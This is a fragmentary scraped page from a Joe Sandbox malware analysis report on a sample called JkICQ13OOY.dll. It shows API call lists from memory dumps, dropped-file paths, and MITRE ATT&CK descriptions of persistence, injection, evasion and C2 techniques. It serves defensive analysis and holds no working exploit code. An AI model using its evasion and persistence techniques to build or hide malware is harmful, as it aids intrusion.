Opcode Fuzzy Hash: 6383df902f8cc8301cecb317e19eed9604a05941a5ff2dade1809cff90f42c28
Instruction Fuzzy Hash: 3341F763F0E7C60BF765A66C48662A8BBD1EF55610F2802FED48C971D3DE683C069742

Function 00007FFD32283475 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2447745058.00007FFD32280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD32280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ffd32280000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction ID: d29b36396820e9e6c963b50ac6b8df9976e3749435cf5349d443e28386ab9e64
Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction Fuzzy Hash: A201677121CB0C8FD744EF4CE451AA5B7E0FB95365F10056EE58AC3652D636E882CB45

Analysis Process: rundll32.exePID: 7688, Parent PID: 2792COMMON

Non-executed Functions

Function 00007FFD92A72EBC Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFD92A72EE8
GetCurrentThreadId.KERNEL32 ref: 00007FFD92A72EF6
GetCurrentProcessId.KERNEL32 ref: 00007FFD92A72F02
QueryPerformanceCounter.KERNEL32 ref: 00007FFD92A72F12

Memory Dump Source

Source File: 0000001A.00000002.2342887564.00007FFD929C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFD929C0000, based on PE: true

Associated: 0000001A.00000002.2342744147.00007FFD929C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001A.00000002.2350620864.00007FFD92D64000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001A.00000002.2352250788.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001A.00000002.2359761903.00007FFD93617000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001A.00000002.2360204241.00007FFD93618000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001A.00000002.2361144477.00007FFD93623000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001A.00000002.2361996507.00007FFD93637000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001A.00000002.2361996507.00007FFD9363A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001A.00000002.2366253706.00007FFD9363C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001A.00000002.2366351745.00007FFD9363F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd929c0000_rundll32.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 7f42a716b9d8fde64910f3b9c146681578fd83d702b295feca7cfe038a5981f0
Instruction ID: 588e08f318701b97819275f8c3f795d887174cbbd8f0333a57f5afd65fba77d3
Opcode Fuzzy Hash: 7f42a716b9d8fde64910f3b9c146681578fd83d702b295feca7cfe038a5981f0
Instruction Fuzzy Hash: 7A112722B54F018AFB10DFA1E8642B833A4FB19759F440E31EA6D87BA4DF78D1A48340

Analysis Process: rundll32.exePID: 7696, Parent PID: 2792COMMON

Non-executed Functions

Function 00007FFD92A72EBC Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFD92A72EE8
GetCurrentThreadId.KERNEL32 ref: 00007FFD92A72EF6
GetCurrentProcessId.KERNEL32 ref: 00007FFD92A72F02
QueryPerformanceCounter.KERNEL32 ref: 00007FFD92A72F12

Memory Dump Source

Source File: 0000001B.00000002.2475447052.00007FFD929C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFD929C0000, based on PE: true

Associated: 0000001B.00000002.2475423167.00007FFD929C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001B.00000002.2475913308.00007FFD92D64000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001B.00000002.2476104730.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001B.00000002.2476919259.00007FFD93617000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001B.00000002.2476953653.00007FFD93618000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001B.00000002.2477019840.00007FFD93623000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001B.00000002.2477109197.00007FFD93637000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001B.00000002.2477109197.00007FFD9363A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001B.00000002.2477392080.00007FFD9363C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001B.00000002.2477435914.00007FFD9363F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ffd929c0000_rundll32.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 7f42a716b9d8fde64910f3b9c146681578fd83d702b295feca7cfe038a5981f0
Instruction ID: 588e08f318701b97819275f8c3f795d887174cbbd8f0333a57f5afd65fba77d3
Opcode Fuzzy Hash: 7f42a716b9d8fde64910f3b9c146681578fd83d702b295feca7cfe038a5981f0
Instruction Fuzzy Hash: 7A112722B54F018AFB10DFA1E8642B833A4FB19759F440E31EA6D87BA4DF78D1A48340

Analysis Process: rundll32.exePID: 7704, Parent PID: 2792COMMON

Non-executed Functions

Function 00007FFD92A72EBC Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFD92A72EE8
GetCurrentThreadId.KERNEL32 ref: 00007FFD92A72EF6
GetCurrentProcessId.KERNEL32 ref: 00007FFD92A72F02
QueryPerformanceCounter.KERNEL32 ref: 00007FFD92A72F12

Memory Dump Source

Source File: 0000001C.00000002.2381548201.00007FFD929C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFD929C0000, based on PE: true

Associated: 0000001C.00000002.2381515786.00007FFD929C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001C.00000002.2382449179.00007FFD92D64000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001C.00000002.2382697359.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001C.00000002.2383571850.00007FFD93617000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001C.00000002.2383598484.00007FFD93618000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001C.00000002.2383598484.00007FFD93620000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001C.00000002.2383598484.00007FFD93623000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001C.00000002.2383598484.00007FFD93628000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001C.00000002.2383728744.00007FFD93637000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001C.00000002.2383728744.00007FFD9363A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001C.00000002.2383789999.00007FFD9363C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001C.00000002.2383819685.00007FFD9363F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffd929c0000_rundll32.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 7f42a716b9d8fde64910f3b9c146681578fd83d702b295feca7cfe038a5981f0
Instruction ID: 588e08f318701b97819275f8c3f795d887174cbbd8f0333a57f5afd65fba77d3
Opcode Fuzzy Hash: 7f42a716b9d8fde64910f3b9c146681578fd83d702b295feca7cfe038a5981f0
Instruction Fuzzy Hash: 7A112722B54F018AFB10DFA1E8642B833A4FB19759F440E31EA6D87BA4DF78D1A48340

Analysis Process: rundll32.exePID: 7720, Parent PID: 2792COMMON

Non-executed Functions

Function 00007FFD92A72EBC Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFD92A72EE8
GetCurrentThreadId.KERNEL32 ref: 00007FFD92A72EF6
GetCurrentProcessId.KERNEL32 ref: 00007FFD92A72F02
QueryPerformanceCounter.KERNEL32 ref: 00007FFD92A72F12

Memory Dump Source

Source File: 0000001D.00000002.2344036374.00007FFD929C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFD929C0000, based on PE: true

Associated: 0000001D.00000002.2343902470.00007FFD929C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001D.00000002.2344659985.00007FFD92D64000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001D.00000002.2344835770.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001D.00000002.2345581385.00007FFD93617000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001D.00000002.2345605933.00007FFD93618000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001D.00000002.2345631664.00007FFD93623000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001D.00000002.2345668579.00007FFD93637000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001D.00000002.2345668579.00007FFD9363A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001D.00000002.2345713707.00007FFD9363C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001D.00000002.2345741169.00007FFD9363F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd929c0000_rundll32.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 7f42a716b9d8fde64910f3b9c146681578fd83d702b295feca7cfe038a5981f0
Instruction ID: 588e08f318701b97819275f8c3f795d887174cbbd8f0333a57f5afd65fba77d3
Opcode Fuzzy Hash: 7f42a716b9d8fde64910f3b9c146681578fd83d702b295feca7cfe038a5981f0
Instruction Fuzzy Hash: 7A112722B54F018AFB10DFA1E8642B833A4FB19759F440E31EA6D87BA4DF78D1A48340

Analysis Process: rundll32.exePID: 7732, Parent PID: 2792COMMON

Non-executed Functions

Function 00007FFD92A72EBC Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFD92A72EE8
GetCurrentThreadId.KERNEL32 ref: 00007FFD92A72EF6
GetCurrentProcessId.KERNEL32 ref: 00007FFD92A72F02
QueryPerformanceCounter.KERNEL32 ref: 00007FFD92A72F12

Memory Dump Source

Source File: 0000001E.00000002.2397707958.00007FFD929C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFD929C0000, based on PE: true

Associated: 0000001E.00000002.2397612466.00007FFD929C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001E.00000002.2398327676.00007FFD92F0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001E.00000002.2399084725.00007FFD93617000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001E.00000002.2399119948.00007FFD9361E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000001E.00000002.2399158540.00007FFD9363F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd929c0000_rundll32.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 7f42a716b9d8fde64910f3b9c146681578fd83d702b295feca7cfe038a5981f0
Instruction ID: 588e08f318701b97819275f8c3f795d887174cbbd8f0333a57f5afd65fba77d3
Opcode Fuzzy Hash: 7f42a716b9d8fde64910f3b9c146681578fd83d702b295feca7cfe038a5981f0
Instruction Fuzzy Hash: 7A112722B54F018AFB10DFA1E8642B833A4FB19759F440E31EA6D87BA4DF78D1A48340

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report JkICQ13OOY.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\IntelProfileUpdater\error.txt

C:\Program Files\IntelProfileUpdater\logs.txt

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_JkI_c6e3338ebf5af9688df4e7add6059d17246672_863277aa_cbe825d4-27bd-4f75-92a7-96665d7814b5\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER10A0.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER111E.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF76.tmp.dmp

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0pdgw0jz.t0x.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_30jlfai4.ulb.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3pzadsr2.pvs.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5pvped03.gyn.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5ttcwkt3.qsm.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aslvx5at.itb.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_essst124.3nv.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ikdw51z3.fxi.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jvqladtn.hs4.psm1

Windows Analysis Report
JkICQ13OOY.dll

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre